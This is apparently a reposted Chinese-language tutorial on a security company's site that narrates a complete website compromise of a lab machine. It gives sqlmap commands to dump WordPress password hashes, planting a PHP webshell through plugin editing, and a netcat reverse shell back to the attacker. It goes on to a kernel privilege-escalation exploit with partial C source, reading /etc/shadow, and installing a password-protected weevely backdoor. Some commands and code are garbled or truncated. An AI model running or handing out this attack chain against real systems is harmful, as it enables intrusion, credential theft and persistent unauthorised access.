网络安全检测|网络安全服务|网络安全扫描-香港墨客投资移动版

主页 > 业界资讯 > 网络渗透测试

黑客如何攻击网站的(黑客是如何攻破这个网站(2)

只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在我们已经收集了所有关于你网站的重要信息,接下来开始扫描寻找漏洞,比如:Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等.

我们将使用Nikto来收集漏洞信息:

root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com

黑客如何攻击网站的(黑客是如何攻破这个网站)(8)

我们也会用到Backtrack 5 R1中的W3AF 工具:

root@bt:/pentest/web/w3af#./w3af_gui

黑客如何攻击网站的(黑客是如何攻破这个网站)(9)

我们输入要检测的网站地址,选择完整的安全审计选项.

黑客如何攻击网站的(黑客是如何攻破这个网站)(10)

稍等一会,你将会看到扫描结果.

黑客如何攻击网站的(黑客是如何攻破这个网站)(11)

发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.

?cat=d%27z%220

我们通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.

Using sqlmap with –u url

然后

输入N按回车键继续

我们发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数”-dbs”来尝试采集数据库名.

发现三个数据库,接下来通过参数”-D wordpress -tables”来查看wordpress数据库的所有表名

黑客如何攻击网站的(黑客是如何攻破这个网站)(13)

通过参数“-T wp_users –columns ”来查看wp_users表中的字段.

黑客如何攻击网站的(黑客是如何攻破这个网站)(14)

接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass–dump”

黑客如何攻击网站的(黑客是如何攻破这个网站)(15)

我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes

黑客如何攻击网站的(黑客是如何攻破这个网站)(16)

登陆wordpress的后台wp-admin

尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的phpwebshell.

黑客如何攻击网站的(黑客是如何攻破这个网站)(17)

Phpwebshell被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

黑客如何攻击网站的(黑客是如何攻破这个网站)(18)

我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.

然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.

黑客如何攻击网站的(黑客是如何攻破这个网站)(20)

点击连接我们会看到

接下来我们尝试执行一些命令:

id

uid=48(apache) gid=489(apache) groups=489(apache)

(用来显示用户的id和组)

pwd

/var/www/html/Hackademic_RTB1/wp-content/plugins

(显示服务器上当前的路径)

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux

(显示内核版本信息)

黑客如何攻击网站的(黑客是如何攻破这个网站)(22)

现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.

在服务器上测试了很多exp之后,我们用以下的exp来提升权限.

我们在nc shell上执行以下命令:

wget -o roro.c

(下载exp到服务器并重命名为roro.c)

注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.

exp roro.c代码如下:

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define RECVPORT 5555

#define SENDPORT 6666

int prep_sock(int port)

{

int s, ret;

struct sockaddr_in addr;

s = socket(PF_RDS, SOCK_SEQPACKET, 0);

if(s < 0)

{

printf(“[*] Could not open socket.”);

exit(-1);

}

memset(&addr, 0, sizeof(addr));

通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下:

gcc roro.c –ororo

接下来执行编译好的exp

./roro

黑客如何攻击网站的(黑客是如何攻破这个网站)(23)

执行完成之后我们输入id命令

id

我们发现我们已经是root权限了

uid=0(root) gid=0(root)

现在我们可以查看/etc/shadow文件

cat/etc/shadow

黑客如何攻击网站的(黑客是如何攻破这个网站)(25)

我们可以使用”john theripper”工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.

我们用weevely制作一个php小马上传到服务器上.

1.weevely使用选项

root@bt:/pentest/backdoors/web/weevely#./main.py -

黑客如何攻击网站的(黑客是如何攻破这个网站)(26)

2.用weevely创建一个密码为koko的php后门

root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko

测试

接下来上传到服务器之后来使用它

root@bt:/pentest/backdoors/web/weevely#./main.py -t -u -pkoko

黑客如何攻击网站的(黑客是如何攻破这个网站)(28)

测试

测试我们的hax.php后门

黑客如何攻击网站的(黑客是如何攻破这个网站)(29)

测试

总结:这个漏洞早已经被修复了,从这例子可以看出漏洞是无处不在的,所以在研发过程中一定要完善测试环节。

(责任编辑:admin)